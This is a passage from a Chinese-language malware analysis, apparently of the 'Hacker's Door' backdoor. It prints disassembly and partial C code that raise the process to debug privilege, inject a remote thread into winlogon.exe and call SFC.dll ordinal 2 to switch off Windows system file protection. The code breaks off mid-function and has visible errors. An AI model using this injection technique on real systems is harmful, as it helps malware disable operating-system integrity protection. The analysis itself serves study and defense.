.data:1000BDC5 mov ecx, edi
.data:1000BDC7 call sub_1000BBF0注意这里调用函数 sub_1000BBF0
.data:1000BDCC push esi ; hLibModule
.data:1000BDCD mov edi, eax
.data:1000BDCF call FreeLibrary
.data:1000BDD5 test edi, edi
.data:1000BDD7 push ebx ; hObject
跟进Sub_1000BBF0函数,Sub_1000BBF0函数:
入口参数:进程句柄、线程开始地址
| .data:1000BBF0 sub_1000BBF0 proc near ; CODE XREF: sub_1000BC70 157 p .data:1000BBF0 .data:1000BBF0 ThreadId = dword ptr -1 .data:1000BBF0 hProcess = dword ptr 7 .data:1000BBF0 lpStartAddress = dword ptr 0Bh .data:1000BBF0 .data:1000BBF0 push ecx .data:1000BBF1 mov ecx, [esp 1 lpStartAddress] .data:1000BBF5 mov edx, [esp 1 hProcess] .data:1000BBF9 lea eax, [esp 1 ThreadId] .data:1000BBFD push esi .data:1000BBFE push eax ; lpThreadId .data:1000BBFF push 0 ; dwCreationFlags .data:1000BC01 push 0 ; lpParameter .data:1000BC03 push ecx ; SFC.dll中第二个函数的函数地址 .data:1000BC04 push 0 ; dwStackSize .data:1000BC06 push 0 ; lpThreadAttributes .data:1000BC08 push edx ; 以前打开的winlogon.exe进程的句柄 .data:1000BC09 mov [esp 21h ThreadId], 0 .data:1000BC11 call CreateRemoteThread ;创建远线程 .data:1000BC17 mov esi, eax .data:1000BC19 test esi, esi ;ESI保存刚才新创建的线程的句柄 .data:1000BC1B jnz short loc_1000BC3F ―――――――――――――――――――――――――――――― .data:1000BC3F .data:1000BC3F loc_1000BC3F: ; CODE XREF: sub_1000BBF0 2B j .data:1000BC3F push 0FA0h ; dwMilliseconds .data:1000BC44 push esi ; 新创建的线程的句柄 .data:1000BC45 call WaitForSingleObject ;等待远程线程的结束 .data:1000BC4B test eax, eax .data:1000BC4D jz short loc_1000BC5D ―――――――――――――――――――――――――――――――――― .data:1000BC5D .data:1000BC5D loc_1000BC5D: ; CODE XREF: sub_1000BBF0 5D j .data:1000BC5D push esi ; hObject .data:1000BC5E call CloseHandle .data:1000BC64 mov eax, [esp 5 ThreadId] .data:1000BC68 pop esi .data:1000BC69 pop ecx .data:1000BC6A retn 8 .data:1000BC6A sub_1000BBF0 endp |
上面的子函数功能很简单,就是在刚刚打开的Winlogon.exe进程中创建新的线程,新线程调用SFC.dll中的序号为2的输出函数,这样便关掉了系统文件的自我保护。
事实上,根据Bgate的《在Win 2000/XP上安静地替换正在使用的系统文件》这篇文章的解释,在Windows 2000(XP)系统下,执行系统文件保护的代码在Sfc.dll(XP在Sfc_os.dll)中,这个Dll由Winlogon.exe调用。Winlogon.exe主要调用Sfc.dll中的两个函数实现系统文件文件保护。Winlogon.exe调用Sfc.dll中的一个输出函数在系统启动的时候创建了一系列事件,Winlogon.exe结束时调用另外一个函数关闭上面的一系列事件,这样就关闭了系统保护文件功能。那这样我们只需要向Winlogon.exe中注入代码调用“第二个”函数,就能取消文件保护功能了,“黑客之门”采用的也正是这样的方法。
这里需要注意的是,要把进程注入到Winlogon.exe中,需要提升自身的权限到Debug权限。
HANDLE hToken;
LUID DebugNameValue;
TOKEN_PRIVILEGES Privileges;
DWORD dwRet;
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,hToken);
LookupPrivilegeValue(NULL,"SeDebugPrivilege",&DebugNameValue);
Privileges.PrivilegeCount=1;
Privileges.Privileges[0].Luid=DebugNameValue;
Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&Privileges,sizeof(Privileges),
NULL,&dwRet);
CloseHandle(hToken);
上面整个关闭系统文件保护功能的实现用C语言写下来如下所示:
/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{ // Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000
hSfc = LoadLibrary("sfc.dll");
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




